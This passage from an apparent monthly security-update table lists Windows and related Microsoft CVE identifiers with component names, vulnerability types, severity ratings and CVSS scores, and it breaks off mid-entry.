CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure 